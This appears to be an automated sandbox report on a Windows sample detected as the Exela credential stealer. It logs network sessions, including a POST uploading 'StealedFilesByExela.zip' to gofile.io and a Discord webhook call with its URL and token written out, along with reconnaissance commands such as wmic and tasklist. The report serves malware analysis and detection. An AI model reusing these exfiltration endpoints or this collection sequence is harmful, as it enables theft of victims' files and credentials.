2024-04-24 17:24:22 UTC	908	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 17:24:21 GMT Content-Type: application/json Content-Length: 45 Connection: close strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1713979463 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m8Ey646mwNRy1SWKeH6xTZtK15gcdbjSssffHYufv5o%2FsoLMY7RBfTafqs9uXabQkf1jSDu6EpHDpxWSBV%2BK0L58QN01rubBeGE7s52Q7zsk1xkYcl7RhY%2BTvRgR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Server: cloudflare CF-RAY: 8797c94d8fe809f3-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49760	51.38.43.18	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:24 UTC	132	OUT	GET /getServer HTTP/1.1 Host: api.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3
2024-04-24 17:24:25 UTC	1092	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Origin: * Content-Length: 42 Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: application/json; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Date: Wed, 24 Apr 2024 17:24:25 GMT Etag: W/"2a-Ai2ZtV5BbiTExK/Yh3OqC+fgWzE" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Connection: close
2024-04-24 17:24:25 UTC	42	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 73 74 6f 72 65 38 22 7d 7d Data Ascii: {"status":"ok","data":{"server":"store8"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49761	206.168.191.31	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:26 UTC	238	OUT	POST /uploadFile HTTP/1.1 Host: store8.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3 Content-Length: 74592 Content-Type: multipart/form-data; boundary=8d82131190e24901ad3c1b9b3a3d5f82
2024-04-24 17:24:26 UTC	36	OUT	Data Raw: 2d 2d 38 64 38 32 31 33 31 31 39 30 65 32 34 39 30 31 61 64 33 63 31 62 39 62 33 61 33 64 35 66 38 32 0d 0a Data Ascii: --8d82131190e24901ad3c1b9b3a3d5f82
2024-04-24 17:24:26 UTC	150	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 7a 69 70 2d 63 6f 6d 70 72 65 73 73 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 34 33 36 36 0d 0a 0d 0a Data Ascii: Content-Type: application/x-zip-compressedContent-Disposition: form-data; name="file"; filename="StealedFilesByExela.zip"Content-Length: 74366
2024-04-24 17:24:26 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 44 65 73 6b 74 6f 70 2f 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 63 75 6d 65 6e 74 73 2f 50 4b 03 04 14 00 00 00 00 00 0b 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 77 6e 6c 6f 61 64 73 2f 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 4f 4e 42 51 43 4c 59 53 50 55 2f 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 55 4d 4d 42 44 4e 45 51 42 4e 2f 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 56 4c 5a 44 47 55 4b 55 54 5a 2f 50 4b 03 04 14 00 00 00 00 00 0a 9b 98 58 Data Ascii: PKXDesktop/PKXDocuments/PKXDownloads/PKXONBQCLYSPU/PKXUMMBDNEQBN/PKXVLZDGUKUTZ/PKX
2024-04-24 17:24:26 UTC	16384	OUT	Data Raw: 4e 74 cd f5 57 fd 65 b3 41 33 d8 57 78 b4 e7 66 3d 35 ef b7 02 92 1f dd d5 20 8f 81 6a b2 ce 9d e2 4e b4 d7 db e9 89 53 d0 ae 42 ab bd 23 4e 50 d2 f5 ad ea 85 45 ba ec d3 74 da 1b d1 a6 0c ae 4a 56 8d fb 49 b6 05 95 99 a1 b7 7b 82 d5 b7 d5 38 29 11 19 c1 ff 5a 2a d0 9a e5 9a 22 ef ca b5 b8 f3 96 96 1f 64 ed 8c 7c cb 5c ea cf 24 a8 db 6d e1 32 b2 0a 04 79 72 16 2b e0 30 b7 1b dc 28 8e ec 3b 7b 85 24 77 f5 78 f5 49 9a dc 13 6b f5 0b 62 83 a7 47 74 d7 f1 09 28 db 54 b8 bc b7 33 49 d5 29 c4 07 3a 99 95 4e e6 70 54 72 24 d2 4a c0 53 6f ee 20 5f 32 05 5e 5c 12 b7 94 f7 d9 e1 4d a7 0a ba 1d 37 65 e1 1d 59 04 d9 19 eb c3 7e 29 6f 4a 0c 38 e5 9c 5a 9d e8 cb 84 c3 3c fd 46 1e 57 56 c9 34 d0 fa e1 0c be d8 de 4b e9 e6 a4 98 da f7 3d 24 2e d7 8d f6 b9 50 98 3a 0c 15 Data Ascii: NtWeA3Wxf=5 jNSB#NPEtJVI{8)Z*"d\|\$m2yr+0(;{$wxIkbGt(T3I):NpTr$JSo _2^\M7eY~)oJ8Z<FWV4K=$.P:
2024-04-24 17:24:26 UTC	16384	OUT	Data Raw: 07 2d e5 b8 8a dc ec eb 39 60 78 4c 5c 18 e4 45 0d b8 6f db fc 98 66 7a 8a a1 45 4c cc 44 61 93 af fe 70 3d c6 75 e6 42 76 2e 14 92 f3 79 1b e1 35 96 dd 43 33 6c 03 00 ec 4e 4a 9f ea 6a 51 1b fa c8 55 b1 2d 5d e5 2c 50 5c f4 da b6 de bf cf 6b 95 63 bf 31 26 83 07 65 58 b6 33 c0 29 b7 7e 33 f2 2d 51 a6 2b 2e d9 a2 63 7a d4 12 9c 27 3a 1d be 49 80 f8 a2 a6 3f 76 16 03 b7 26 bc b6 8d be 8f a7 4f 54 8c 50 7b a1 ff 28 e0 0a 65 d9 a8 d1 f9 14 a8 4d af da 3d 05 d2 f9 68 5d 6f 64 31 84 61 bb 64 27 8f 2a 44 63 fc d4 8b 22 2e 78 94 52 5b 3e d6 ea de 66 98 1d 6a 7c e5 e3 dd d4 2f 05 97 cd 14 6f a1 56 86 69 fa 03 cf a3 e0 77 26 b4 b7 44 11 fb 37 75 c1 35 1b 3a 17 5e 1f df 36 12 42 91 e6 76 6f 67 c3 81 90 70 6b 1b ef f9 c7 41 e5 cd 3a e7 97 0e 5f 7f 7f fe 00 50 4b 03 Data Ascii: -9`xL\EofzELDap=uBv.y5C3lNJjQU-],P\kc1&eX3)~3-Q+.cz':I?v&OTP{(eM=h]od1ad'*Dc".xR[>fj\|/oViw&D7u5:^6BvogpkA:_PK
2024-04-24 17:24:26 UTC	16384	OUT	Data Raw: 2e 97 97 3b 44 2c 62 2a 16 9c 5f 65 15 a5 ec 92 be cd 8d 9a cc 70 4e e1 a5 3e ba 23 dc 6a 95 a1 64 ab c9 f2 15 5b 30 04 6d 13 0d 90 4a 46 5b 2f c5 d8 6f 68 65 1c c3 98 bd a1 d1 4c 78 2f eb 1e 6c 82 58 9a 35 e7 08 d2 c6 dc 95 48 33 40 86 eb b4 3c af 12 87 79 d3 ea a9 0d c3 74 46 a9 77 22 d5 8d b1 3e e1 79 0b bb aa 24 5f a6 77 3e 0b 3d 98 de 3b e9 58 4e 73 c3 59 df f2 d8 b9 c3 d6 e2 80 82 49 c9 86 e9 ab c4 8d 01 66 f2 de 87 1b 37 94 8e d2 df 83 98 1c 85 fd fb ab d4 24 f3 b8 0e 27 9b 2a fd de a0 dc 96 9b c6 fd e8 f3 29 3e 43 3a 97 e0 e5 49 1f 7f 27 69 ff 0d 53 f7 ea 6b e9 71 93 ec 59 e3 1e 93 e5 24 29 30 88 f6 e9 c4 c7 51 a3 19 4f e0 00 f9 ee e5 97 ef c6 bc ae 9b 62 40 8f 53 f5 18 31 5e 17 bf 9d 93 ff 6c be 46 43 57 56 43 9c c7 64 2a dc cf c0 e0 1a 6e 39 bc Data Ascii: .;D,b_epN>#jd[0mJF[/oheLx/lX5H3@<ytFw">y$_w>=;XNsYIf7$')>C:I'iSkqY$)0QOb@S1^lFCWVCd*n9
2024-04-24 17:24:26 UTC	8830	OUT	Data Raw: ec 88 94 17 95 86 e0 f7 17 89 63 48 3d 8e 67 25 d4 0d 01 ac b7 a6 4e 80 fd dc cd c7 41 48 a6 34 0e 68 ed de fd 29 18 5a 3a 7b 27 e5 94 f1 22 fc 42 0a b0 4e 2d 75 8f 54 27 e3 42 90 e5 4f 3a 84 77 d7 3a 07 9d 9d df 61 ef 46 67 e3 c2 76 00 43 b8 a3 71 d7 35 eb 47 93 80 2d 5d d6 a4 71 45 9f f2 28 cc 29 7b bc 12 d9 da 56 62 dd 93 75 39 b4 b1 7b d0 cf 7b f2 61 a9 2f 6a ef 37 4a b7 87 f2 55 f6 85 e3 26 6e 57 77 ae 0f f6 de dc f9 16 cf 07 62 9f d0 ba 96 db 27 fb fd 18 e6 ee a8 df 68 ce 69 5e 9f 8a 8a bd ad f9 71 0e d2 0f 8c 23 46 96 90 9b f1 02 c7 e2 7c 9f a7 d5 5c 91 af 27 c7 95 8a ee 2f 8f 5c 55 36 f1 fb cc d7 c7 97 f2 42 1d e8 23 3d fa 28 8e 72 4a 7e c2 f7 00 a7 e6 df a3 e5 7b 79 5f c6 cf 84 97 d0 db 30 e2 a8 0f 39 02 88 69 c9 46 23 03 8d 2f d0 43 67 4c fc d0 Data Ascii: cH=g%NAH4h)Z:{'"BN-uT'BO:w:aFgvCq5G-]qE(){Vbu9{{a/j7JU&nWwb'hi^q#F\|\'/\U6B#=(rJ~{y_09iF#/CgL
2024-04-24 17:24:26 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2024-04-24 17:24:26 UTC	38	OUT	Data Raw: 2d 2d 38 64 38 32 31 33 31 31 39 30 65 32 34 39 30 31 61 64 33 63 31 62 39 62 33 61 33 64 35 66 38 32 2d 2d 0d 0a Data Ascii: --8d82131190e24901ad3c1b9b3a3d5f82--
2024-04-24 17:24:28 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.25.3 Date: Wed, 24 Apr 2024 17:24:27 GMT Content-Type: application/json Content-Length: 313 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2024-04-24 17:24:28 UTC	313	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 22 6d 6e 32 6c 4e 57 22 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 6d 6e 32 6c 4e 57 22 2c 22 66 69 6c 65 49 64 22 3a 22 65 65 63 64 63 37 33 66 2d 64 39 64 39 2d 34 62 61 33 2d 39 30 32 61 2d 35 64 61 61 62 32 63 63 33 30 65 61 22 2c 22 66 69 6c 65 4e 61 6d 65 22 3a 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 64 58 5a 61 4c 37 4b 4e 76 30 6f 5a 6d 64 36 4b 73 66 55 57 68 4f 56 43 62 50 42 62 70 38 47 6f 22 2c 22 6d 64 35 22 3a 22 64 38 37 65 39 63 39 62 37 35 65 35 30 62 31 34 35 66 61 32 37 64 34 63 35 38 32 38 66 32 62 30 22 2c 22 70 61 72 65 6e 74 46 6f 6c 64 65 Data Ascii: {"data":{"code":"mn2lNW","downloadPage":"https://gofile.io/d/mn2lNW","fileId":"eecdc73f-d9d9-4ba3-902a-5daab2cc30ea","fileName":"StealedFilesByExela.zip","guestToken":"dXZaL7KNv0oZmd6KsfUWhOVCbPBbp8Go","md5":"d87e9c9b75e50b145fa27d4c5828f2b0","parentFolde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49762	162.159.128.233	443	6816	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 17:24:28 UTC	276	OUT	POST /api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_BaLZ2C-YJ8xGzkF6VbqbsY0 HTTP/1.1 Host: discord.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.3 Content-Length: 419 Content-Type: application/json
2024-04-24 17:24:28 UTC	419	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 53 74 65 61 6c 65 64 20 46 69 6c 65 73 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d 62 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Stealed Files*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thumb
2024-04-24 17:24:28 UTC	1365	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 17:24:28 GMT Content-Type: application/json Content-Length: 45 Connection: close set-cookie: __dcfduid=81608906025f11efb039be452c0845c9; Expires=Mon, 23-Apr-2029 17:24:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1713979470 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pyMWczbleQALJS%2BMQCD44S9SoXDnwVNjYlOGYcGpHbcPsbt3ugBUdVdoWGwQ57MMKdlAbt9Moc4yO9Fxd%2By6lynJefgXGXeHaUfp1xw3FQKDIB1uhHcM8kChF%2F8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=81608906025f11efb039be452c0845c9902407b9c63a87615a9b24dbfd4ff0121e3e8bb9ff0365232310f373b2ba71f9; Expires=Mon, 23-Apr-2029 17:24:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=418df2eda9f10ccb09d5126301cea6bca0418ed5-1713979468; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-04-24 17:24:28 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 37 43 6f 2e 33 33 38 55 64 5a 41 64 6a 62 6f 76 5f 44 6a 6a 68 54 4d 37 75 4b 75 76 78 48 5f 5a 4a 74 76 66 58 57 6a 41 57 74 6f 2d 31 37 31 33 39 37 39 34 36 38 38 31 34 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 39 37 63 39 37 66 30 63 61 33 61 39 38 34 2d 4c 41 53 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=7Co.338UdZAdjbov_DjjhTM7uKuvxH_ZJtvfXWjAWto-1713979468814-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8797c97f0ca3a984-LAS
2024-04-24 17:24:28 UTC	45	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d Data Ascii: {"message": "Unknown Webhook", "code": 10015}

Target ID:	0
Start time:	19:23:57
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"
Imagebase:	0x7ff72aa70000
File size:	11'317'024 bytes
MD5 hash:	D53E9B9D10AFFCF90E613ABCCC702CA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:23:58
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"
Imagebase:	0x7ff72aa70000
File size:	11'317'024 bytes
MD5 hash:	D53E9B9D10AFFCF90E613ABCCC702CA2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PythonStealer, Description: Yara detected Python Stealer, Source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:23:59
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:23:59
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "gdb --version"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff621f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get Manufacturer
Imagebase:	0x7ff7f9cd0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:24:00
Start date:	24/04/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff64f8b0000
File size:	106'496 bytes
